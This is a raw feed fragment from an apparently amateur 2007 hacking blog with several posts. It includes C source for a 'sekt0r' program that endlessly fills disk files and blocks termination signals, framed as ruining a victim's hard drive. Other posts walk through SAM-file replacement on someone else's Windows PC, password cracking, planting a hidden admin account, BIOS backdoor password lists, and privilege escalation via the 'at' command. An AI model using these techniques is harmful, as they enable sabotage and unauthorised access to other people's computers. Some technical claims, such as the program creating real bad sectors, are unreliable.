ö&lt;br /&gt;ALT+149 ò&lt;br /&gt;ALT+150 û&lt;br /&gt;ALT+151 ù&lt;br /&gt;ALT+152 ÿ&lt;br /&gt;ALT+153 Ö&lt;br /&gt;ALT+154 Ü&lt;br /&gt;ALT+155 ¢&lt;br /&gt;ALT+156 £&lt;br /&gt;ALT+157 ¥&lt;br /&gt;ALT+158 P&lt;br /&gt;ALT+159 ƒ&lt;br /&gt;ALT+160 á&lt;br /&gt;ALT+161 í&lt;br /&gt;ALT+162 ó&lt;br /&gt;ALT+163 ú&lt;br /&gt;ALT+164 ñ&lt;br /&gt;ALT+165 Ñ&lt;br /&gt;ALT+166 ª&lt;br /&gt;ALT+167 º&lt;br /&gt;ALT+168 ¿&lt;br /&gt;ALT+169 ¬ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Create Bad sectors on hard disks&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A C source code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*create bad sectors on the hard disk.&lt;br /&gt;*&lt;br /&gt;* This program will create bad sectors on the hard disk. If you left it&lt;br /&gt;* running for long enough, it could render a hard disk quite useless. When&lt;br /&gt;* bad sectors are found, the sector is marked as bad, so fixing the hard disk&lt;br /&gt;* is not an easy task. Unless the victim has time and knowledge to fix the&lt;br /&gt;* disk, the hard drive can be left quite literally defective.&lt;br /&gt;* supported by preetam&lt;br /&gt;* I don't take responsibility for what you do with this program, served foe educational purpose only.&lt;br /&gt;*&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;&lt;br /&gt;#define HDSIZE 640000&lt;br /&gt;&lt;br /&gt;void handle_sig();&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;&lt;br /&gt;int i = 0;&lt;br /&gt;int x;&lt;br /&gt;int fd[5];&lt;br /&gt;&lt;br /&gt;signal(SIGINT, handle_sig);&lt;br /&gt;signal(SIGHUP, handle_sig);&lt;br /&gt;signal(SIGQUIT, handle_sig);&lt;br /&gt;signal(SIGABRT, handle_sig);&lt;br /&gt;signal(SIGTERM, handle_sig);&lt;br /&gt;&lt;br /&gt;char *buf;&lt;br /&gt;&lt;br /&gt;buf = malloc(HDSIZE);&lt;br /&gt;&lt;br /&gt;printf("sekt0r: trashing hard disk with bad sectors!\n");&lt;br /&gt;&lt;br /&gt;while(1) {&lt;br /&gt;fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);&lt;br /&gt;fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);&lt;br /&gt;fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);&lt;br /&gt;fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);&lt;br /&gt;fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);&lt;br /&gt;&lt;br /&gt;for(x = 0; x &lt; 5; x++) {&lt;br /&gt;write(fd[x], buf, HDSIZE);&lt;br /&gt;lseek(fd[x], 0, SEEK_SET);&lt;br /&gt;close(fd[x]);&lt;br /&gt;&lt;br /&gt;} /* end for() loop. */&lt;br /&gt;} /* end while() loop. */&lt;br /&gt;} /* end main(). */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void handle_sig() {&lt;br /&gt;/* Reset signal handlers. */&lt;br /&gt;signal(SIGINT, handle_sig);&lt;br /&gt;signal(SIGHUP, handle_sig);&lt;br /&gt;signal(SIGQUIT, handle_sig);&lt;br /&gt;signal(SIGABRT, handle_sig);&lt;br /&gt;signal(SIGTERM, handle_sig);&lt;br /&gt;&lt;br /&gt;printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");&lt;br /&gt;return; /* go back to creating bad sectors. */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Disable or remove shutdown&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=&gt; remove shutdown from start menu and also from all other possible options.&lt;br /&gt;=&gt; hide shutdown from start menu&lt;br /&gt;=&gt; disable shutdown all togetherDisable or remove shutdown - The Ethical Hackinglearn to do it now!!! (it takes less than a minute to do so) Disclaimer: this is an article which just brings out the fact that removing the&lt;br /&gt;shut down menu option from the start menu is possible. If you however get caught&lt;br /&gt;by your manager or college system administrator, and get whipped in your ass, I&lt;br /&gt;cannot be held responsible. This tool is a inbuilt tool present in windows XP, just like msgconfig. So you&lt;br /&gt;got to execute this command using run. 1 . Start -&gt;run and type gpedit.msc The gpedit stands for group policy and you can do wonders using this. Also if&lt;br /&gt;you a minute with your pal’s system and this pal tries to flirt your girl friend&lt;br /&gt;- You can make a lot of changes to his system in the time he leaves you alone&lt;br /&gt;with his system, to have him go bonkers.&lt;br /&gt;2. User configuration -&gt; administrative Templates -&gt; start menu and taskbar -&gt; 3. This option opens up a pane on the right hand side. Identify the option named&lt;br /&gt;- Remove SHUT DOWN on the start menu . 4. Double click Remove SHUT DOWN on the start menu option 5. a small screen pops up and you may like to read about the explanation in the&lt;br /&gt;EXPLAIN TAB before you change the settings. 6. Just change the radio button TO ENABLED and say apply. 7. DONE. No need to log off or restart the system. (You may however have to find&lt;br /&gt;a way to restart your system.) 8. This option disables the log off option from the system. From the start menu,&lt;br /&gt;also from the life saver – three buttons CTRL - ALT - DEL options. This option goes well with the HIDING THE LOG OFF FROM START MENU… (To shut down ur system:-without using frm shut down menu) The solution is that u can switch user thru task manager (alt+ctrl+del) or by&lt;br /&gt;pressing winkey+L where u get the option to turn off ur compy/restart/stand&lt;br /&gt;by.&lt;br /&gt;or u may create a shortcut using this shortcut location to shutdown ur sys %windir%\system32\shutdown.exe -s to restart, u can use this shortcut %windir%\system32\shutdown.exe -r&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Self distructing Email - MI3&lt;br /&gt;*****&lt;br /&gt; &lt;br /&gt;one word - Just perfect&lt;br /&gt;&lt;br /&gt;One of the best service i found online n using it too personally..&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Big Brother is Watching&lt;br /&gt;&lt;br /&gt;Every time that you send an email, copies are stored permanently on multiple email servers as well as the recipient's inbox and anyone they decide to send it to. Your emails can be stored and scanned in more places than you can imagine. Do you want people storing your email messages forever? Do you want something that you type today to be used against you tomorrow, next week, next month or even in the next decade?&lt;br /&gt;Until now, everyone else has had control of the email that you have sent. BigString gives you back control of your email, acting like an automatic shredder for your email. You can self-destruct or change an email that's already been sent or read. Don't leave your messages sitting in peoples' inboxes forever. Get a free BigString email account to protect your privacy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BigString takes the risk out of email&lt;br /&gt;&lt;br /&gt;Now, with BigString, you can finally take the risk out of email and put an end to "sender regret." It is the world's first &amp; only email service that thoroughly protects your safety and privacy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BigString's exclusive, patent-pending technology enables you to prevent your personal or business information from lingering indefinitely in someone else's inbox. It also restricts private pictures or messages from being indiscriminately spread throughout cyberspace! Now your sensitive photos can't be posted to unseemly web sites or printed for circulation amongst total strangers.&lt;br /&gt;&lt;br /&gt;BigString lets you have second thoughts&lt;br /&gt;BigString shifts the control from the recipient to YOU the sender. BigString grants the luxury of second thoughts, the power to limit message viewings, and the choice to delay email transmission.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can reword a message fired off in anger or haste or completely delete it! You can recall a botched résumé for revision or erase a tasteless joke. You can make a work of art or photograph print-proof. You can prevent a love letter from being forwarded. You can set an expiration date on an emailed price quote or business offer or you can simply pull back an email to eliminate typos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BigString takes the danger out of clicking&lt;br /&gt;BigString guarantees that clicking "send" will never again be an irreversible disaster. Now YOU decide the fate of your emails. You decide where they end up, who sees them and for how long. BigString emails can be destroyed, recalled or changed even after they've been opened! The freedom is yours, the options are yours, and you're the boss with BigString.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BigString is easy to use&lt;br /&gt;BigString is as easy to use as any other email and there's nothing to download! Don't be resigned to the mercy of your recipient. You don't want your every action to be carved in stone because sometimes you just NEED to take it back!&lt;br /&gt;&lt;br /&gt;Here are just a few of the many applications of BigString&lt;br /&gt;Erasable, Recallable, Non-Printable Email.&lt;br /&gt;&lt;br /&gt;Executives: Protect your business and safeguard your email. Now you never have to worry about sending the wrong attachment or completely forgetting it. Misspelled words, incorrect dates, or other typos can all be fixed even after your message has been sent. You can even "pull an email back" to delete expired price quotes, old business offers or dated legal material. BigString is your email insurance.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On-Line Daters: You don't want your personal information like pictures, phone numbers or intimate notes, circulated around the Internet! BigString prevents your pictures and messages from being printed or forwarded. You can set an expiration date for an email or self-destruct it at will. You can choose the number of times you'll allow a picture to be viewed before it disappears. BigString protects your privacy!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Artists and Photographers: Now with BigString you can confidently email proofs and samples without the slightest fear that they will be printed or saved for later use without your authorization. Use BigString to make your image non-savable and non-printable! Limit the number of times a client can view a piece before you have it self-destruct. You can even recall a sent email to delete an old price quote or alter a new one. You can also prevent it from being forwarded to other customers. BigString protects your rights of ownership!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copywriters: Spelling or punctuation errors that can cost time, money, or embarrassment are now a thing of the past. With BigString, clicking "send" is no longer an action "carved in stone." Accidentally arranging paragraphs in the wrong order will no longer mean a lost account. With the technology of BigString you can recall that mistake-ridden copy and correct the errors even after your email has left the outbox. You can self-destruct what you sent all together and replace it with a fully revised version. Only you will know this switch has occurred! With BigString you can confidently send non-printable, non-savable sample copy. You no longer have to worry that it will be used without your knowledge. You're the boss with BigString.&lt;br /&gt;Self distructing Email - MI3 - The Ethical Hacking&lt;br /&gt;&lt;br /&gt;SAM History n Hacking&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1-Introduction&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This article introduce very simple way to get Administrator like account and do the job and after finish recover your way, after that Get Admin Password later in your home by Cracking, After get the Admin Password Create a hidden user account and do all your jobs free, and Explain how to make a USB Storage Device Bootable corresponding to any system boot, and how to bypass Mother Board password by Default Passwords, and how to extract it if you are in the system&lt;br /&gt;&lt;br /&gt;2-To Hackers / Security Systems Engineers&lt;br /&gt;&lt;br /&gt;First All must know that both Hackers / Security Systems Engineers Are 2 faces to the same coin Any way, I try this on Windows XP SP2 I want all to try it on Windows Server 2003, Windows Vista Any Windows NT and POST a Message to make all know what versions exactly this idea can apply for&lt;br /&gt;3-Close Look to hole&lt;br /&gt;Microsoft stores all Security Information in many files but the main file is the SAM file (Security Accounts Manager)! this file contain critical information about users account you can explore the folder&lt;br /&gt;$windir$\system32\config&lt;br /&gt;You will find all things and may discover some thing new, but what amazing here is that the file is available, so we can apply our idea&lt;br /&gt;shot1&lt;br /&gt;You will Not be able To copy them Under XP&lt;br /&gt;4-Dose Microsoft Know and Why!?&lt;br /&gt;Yes Microsoft Know all things, and done on purpose why? I always for many years ask my self why Microsoft doesn’t do real security on their systems from the CD setup to all security aspects In the system, I found(my opinion may wrong)that they need to achieve 2 strategic things&lt;br /&gt;&lt;br /&gt;1-They need their software spread and all depend on it and in one day when they feel that they are the One The security will done and all money will go to One Pocket&lt;br /&gt;&lt;br /&gt;2-They Forced/Like to Make Some Organizations Hack other systems&lt;br /&gt;&lt;br /&gt;Proof:&lt;br /&gt;They can make this File SAM Unavailable by storing the information in FAT, FAT32, NTFS Areas (Sectors reserved by The Operating SYSTEM to Store the Addresses of the files on the HardDisk File Allocation Table) So that it is hard to extract. But they don't!!!!!&lt;br /&gt;5-Understand the Idea&lt;br /&gt;The Idea is simple I will explain it manually and it can then be programmed it is so easy here is the idea&lt;br /&gt;&lt;br /&gt;The SAM file is available and the SAM file contain a Security Information, so I created a Free Windows XP SP2 Logon account (Administrator Account without password) that means when windows Lunch it Will enter directly to the system without asking about any password And windows will store this Account in The SAM file on My PC So the SAM file on My PC contain an Account will Make you enter Directly to the Windows, so I will take My SAM File and Replace (by renaming, we will need the original file to recover our way) It with the other SAM File in The Other System or Machine So When you restart It will make you enter directly to the Windows With Administrator Like Account ,do what you need and then back all things to the previous state. All These Steps will be under other system bootable DOS, Knoppiex, Windows Live CD, Because Windows XP will not make u able to copy the Files&lt;br /&gt;6-Get Admin Like Account (The Simple Way)&lt;br /&gt;&lt;br /&gt;1- Download My 2 SAM files I Include them in Downloads&lt;br /&gt;2- Go to the target Machine , and try to Access it and Boot from any device CD-ROM, Floppy, NIC if it haven't any of those Read Hint 9&lt;br /&gt;3- After Get Access to the Boot Command prompt c:&gt; or Boot Live OS CD, Go to the windows folder $windir$\system32\config And Copy the SAM File and System File (we will need it later) To other folder, Then go to $windir$\repair copy SAM file&lt;br /&gt;And then Rename the 2 SAM Files to SAM1 in their original places&lt;br /&gt;4- Copy My SAM/config File and Paste it in the windows folder $windir$\system32\config Copy My SAM/Repair File and Paste it in the windows folder $windir$\repair (may this step not required)&lt;br /&gt;5- Reboot and Make windows enter Normally&lt;br /&gt;6- Yeah, No You are in The System&lt;br /&gt;7- Copy the files in step 3 to Floppy Disk or Flash Stick Or Send it to your mail via Internet&lt;br /&gt;8- After finish repeat step 2 and delete My SAM files and Rename Both SAM1 to SAM&lt;br /&gt;9- Reboot , Congratulation you recover your way&lt;br /&gt;7-Crack the SAM-Know the real Admin Password and Apply Hint 8&lt;br /&gt;There is many ways I will introduce 2 ways and explain 1 After you get the SAM File and System File there are Programs That extract the Accounts and their passwords, depending on the idea of cracking the HASH (the HASH is one way encryption method) so that The program will generate random passwords and convert them to HASH and then compare it with the HASHES in the SAM File , so it may take a long time but for fast you will pay more money for ready made HASHES with their user names and passwords the 2 program are&lt;br /&gt;&lt;br /&gt;1-L0phtcrack v4.0 (LC4 alternate name) the most famous on the NET&lt;br /&gt;2-SAMInside http://www.insidepro.com/I include on the Downloads&lt;br /&gt;&lt;br /&gt;I will explain fast SAMInside&lt;br /&gt;&lt;br /&gt;shot1&lt;br /&gt;&lt;br /&gt;This is the main window press Ctrl+O or by mouse click Import SAM and SYSTEM&lt;br /&gt;&lt;br /&gt;shot1&lt;br /&gt;&lt;br /&gt;Window will open to import the 2 files and the program will start to crack the Accounts and get them, and then display users names and their passwords&lt;br /&gt;&lt;br /&gt;Any other tool will do the job try all and select your best I Explain here SAMInside because he give me results with 6 character only password and get it FAST&lt;br /&gt;8-Creat a Hidden User Accountn&lt;br /&gt;Windows NT / Windows 2000 and Windows XP has a security setting to hide accounts from the Logon Screen/Control panel users accounts&lt;br /&gt;&lt;br /&gt;shot1&lt;br /&gt;Press&lt;br /&gt;Ctrl+Alt+Delet&lt;br /&gt;Give you another Access Dialog&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Steps:&lt;br /&gt;&lt;br /&gt;1-After getting Admin Password enter to the system&lt;br /&gt;2-create an Account with password&lt;br /&gt;3-click start - &gt; Run - &gt; type Regedit press Enter&lt;br /&gt;4-Go to&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\ CurrentVersion\Winlogon\SpecialAccounts\UserList&lt;br /&gt;&lt;br /&gt;shot1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5- Create a new DWORD Value on the UserList&lt;br /&gt;6-Name it with Name of Account to be Hidden&lt;br /&gt;7-set the Value Data of this DWORD Value to 0 to hide it /1 to appear it&lt;br /&gt;8- close Regedit and Reboot&lt;br /&gt;9- Press Ctrl+Alt+Delete when logon Screen Appear another login dialog appear type You hidden user name and password and press Enter&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;&lt;br /&gt;1- the account profile will be visible in \Documents and Settings, But it will be hidden from Logon Screen and User Account in the control panel&lt;br /&gt;&lt;br /&gt;2-there is other method that Inject your Account directly to the Admin SAM without know the Admin Pass, but believe me you don't Expect the result, so if you want try it (if the password hard to get)&lt;br /&gt;9-USB Boot for FAT32, NTFS or any File System&lt;br /&gt;&lt;br /&gt;HP Always amazing me to do this we need 2 tools&lt;br /&gt;&lt;br /&gt;1- HP USB Disk Storage Format Tool v 2.0.6 I include in Downloads If u want to find more go to http://www.hp.com/&lt;br /&gt;2- NTFSDOS Professional Boot Disk Wizard I include in Downloads If u want to find more go to http://www.winternals.com/&lt;br /&gt;&lt;br /&gt;shot1&lt;br /&gt;&lt;br /&gt;Just connect your USB Storage&lt;br /&gt;steps:&lt;br /&gt;1- Prepare a Startup Disk or Startup CD , Or any Equivalent&lt;br /&gt;2- In the HP tool select the Device-&gt;your USB Storage&lt;br /&gt;3- Select File System FAT or FAT32&lt;br /&gt;4- Check "create a DOS startup disk" checkbox and then select option "using DOS System Files Located at"&lt;br /&gt;5- brows your location&lt;br /&gt;6- Click Start&lt;br /&gt;7- Now you have a Bootable USB Storage Device&lt;br /&gt;8- Now in the NTFSDOS Professional Boot Disk Wizard follow the wizard and you will get a NTFS bootable USB Storage&lt;br /&gt;&lt;br /&gt;Why we need NTFS ?&lt;br /&gt;If the Partition of the Windows System is NTFS so with normal Startup you will not be able to access any files because the File System is not Recognized by MS-DOS when we install NTFSDOS Professional on the bootable disk it will allow you To Access any File Under NTFS&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;Make sure that the option in Mother board Setup of First Boot "USB-Hard Disk" if you want to boot from a USB&lt;br /&gt;10-Mother Boards Default Passwords and how to extract it if you are in The system&lt;br /&gt;&lt;br /&gt;This subject is huge I try to find simple or clever way but as u know many PC's many machines many bios versions and updates so I search the net for the best and I list below ,but if this doesn’t help I recommend you to find the bios version and the motherboard and search the net on Google, yahoo, yahoo groups and other you will find some thing help u&lt;br /&gt;&lt;br /&gt;HOW TO BYPASS BIOS PASSWORDS&lt;br /&gt;http://www.elfqrin.com/docs/biospw.html&lt;br /&gt;&lt;br /&gt;Removing a Bios - CMOS Password&lt;br /&gt;http://www.dewassoc.com/support/bios/bios_password.htm&lt;br /&gt;&lt;br /&gt;How to Bypass BIOS Passwords&lt;br /&gt;http://www.uktsupport.co.uk/reference/biosp.htm&lt;br /&gt;&lt;br /&gt;How to Bypass BIOS Passwords&lt;br /&gt;http://www.i-hacked.com/content/view/36/70/&lt;br /&gt;&lt;br /&gt;Default Password List&lt;br /&gt;2006-04-30&lt;br /&gt;http://www.phenoelit.de/dpl/dpl.html&lt;br /&gt;&lt;br /&gt;Award BIOS backdoor passwords:&lt;br /&gt;ALFAROME--------BIOSTAR--------KDD--------ZAAADA-------- ALLy--------CONCAT--------Lkwpeter--------ZBAAACA-------- aLLy-------- CONDO--------LKWPETER--------ZJAAADC-------- aLLY--------Condo--------PINT--------01322222-------- ALLY--------d8on--------pint--------589589-------- aPAf--------djonet--------SER--------589721-------- _award--------HLT--------SKY_FOX--------595595-------- AWARD_SW--------J64--------SYXZ--------598598 AWARD?SW--------J256--------syxz-------- AWARD SW--------J262--------shift + syxz-------- AWARD PW--------j332--------TTPTHA-------- AWKWARD--------j322-------- awkward&lt;br /&gt;&lt;br /&gt;AMI BIOS Backdoor Passwords:&lt;br /&gt;AMI--------BIOS--------PASSWORD--------HEWITT RAND-------- AMI?SW--------AMI_SW--------LKWPETER--------CONDO&lt;br /&gt;&lt;br /&gt;Phoenix BIOS Backdoor Passwords: phoenix--------PHOENIX--------CMOS--------BIOS&lt;br /&gt;&lt;br /&gt;Misc. Common Passwords&lt;br /&gt;ALFAROME--------BIOSTAR--------biostar--------biosstar-------- CMOS--------cmos--------LKWPETER--------lkwpeter-------- setup--------SETUP--------Syxz--------Wodj&lt;br /&gt;Other BIOS Passwords by Manufacturer&lt;br /&gt;Manufacturer--------Password&lt;br /&gt;VOBIS &amp; IBM-------- merlin&lt;br /&gt;Dell--------Dell&lt;br /&gt;Biostar-------- Biostar&lt;br /&gt;Compaq--------Compaq&lt;br /&gt;Enox--------xo11nE&lt;br /&gt;Epox--------central&lt;br /&gt;Freetech--------Posterie&lt;br /&gt;IWill--------iwill&lt;br /&gt;Jetway--------spooml&lt;br /&gt;Packard Bell--------bell9&lt;br /&gt;QDI--------QDI&lt;br /&gt;Siemens--------SKY_FOX&lt;br /&gt;TMC--------BIGO&lt;br /&gt;Toshiba--------Toshiba&lt;br /&gt;Toshiba--------BIOS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Most Toshiba laptops&lt;br /&gt;and some desktop systems will bypass the BIOS password if the left shift key is held down during boot&lt;br /&gt;IBM Aptiva BIOS&lt;br /&gt;Press both mouse buttons repeatedly during the boot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-1222646255024910831?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/1222646255024910831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=1222646255024910831' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/1222646255024910831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/1222646255024910831'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/miscellonous.html' title='Miscellonous'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6751494361540911597</id><published>2007-08-27T08:11:00.001-07:00</published><updated>2007-08-27T08:11:17.766-07:00</updated><title type='text'>Haking "admin" from "user" mode n more</title><content type='html'>really that is possible !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;u know why is it a "user" account because it lacks come service layer than that in "administrator" account&lt;br /&gt;&lt;br /&gt;Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.&lt;br /&gt;&lt;br /&gt;Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).&lt;br /&gt;&lt;br /&gt;The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager&lt;br /&gt;&lt;br /&gt;Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can trick the system into running a program, script, or batch file with system level privileges.&lt;br /&gt;&lt;br /&gt;One sample&lt;br /&gt;&lt;br /&gt;One trick is to use a vulnerability in Windows long filename support.&lt;br /&gt;Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.&lt;br /&gt;&lt;br /&gt;Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                        Quote:&lt;br /&gt;&lt;br /&gt;In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.&lt;br /&gt;Getting SYSTEM&lt;br /&gt;I will now walk you through the process of obtaining SYSTEM privileges.&lt;br /&gt;To start, lets open up a command prompt (Start &gt; Run &gt; cmd &gt; [ENTER]).&lt;br /&gt;At the prompt, enter the following command, then press [ENTER]:&lt;br /&gt;Code:&lt;br /&gt;at&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;at 15:25 /interactive “cmd.exe”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:&lt;br /&gt;&lt;br /&gt;When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:&lt;br /&gt;&lt;br /&gt;You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.&lt;br /&gt;At the system command prompt, enter in the following:&lt;br /&gt;&lt;br /&gt;    Code:&lt;br /&gt;    explorer.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):&lt;br /&gt;&lt;br /&gt;System user name on start menu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;explorer.exe running under SYSTEM&lt;br /&gt;&lt;br /&gt;What to do now&lt;br /&gt;Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ADMINISTRATOR IN WELCOME SCREEN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.&lt;br /&gt;First you must ensure that the Administrator Account is enabled:&lt;br /&gt;1 open Control Panel&lt;br /&gt;2 open Administrative Tools&lt;br /&gt;3 open Local Security Policy&lt;br /&gt;4 expand Local Policies&lt;br /&gt;5 click on Security Options&lt;br /&gt;6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.&lt;br /&gt;1 open Control Panel&lt;br /&gt;2 open User Accounts&lt;br /&gt;3 click Change the way users log on or log off&lt;br /&gt;4 untick Use the Welcome Screen&lt;br /&gt;5 click Apply Options&lt;br /&gt;You will now be able to log on to Windows XP as Administrator in Normal Mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start the Registry Editor Go to:&lt;br /&gt;HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \&lt;br /&gt;Right-click an empty space in the right pane and select New &gt; DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6751494361540911597?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6751494361540911597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6751494361540911597' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6751494361540911597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6751494361540911597'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/haking-admin-from-user-mode-n-more.html' title='Haking &quot;admin&quot; from &quot;user&quot; mode n more'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 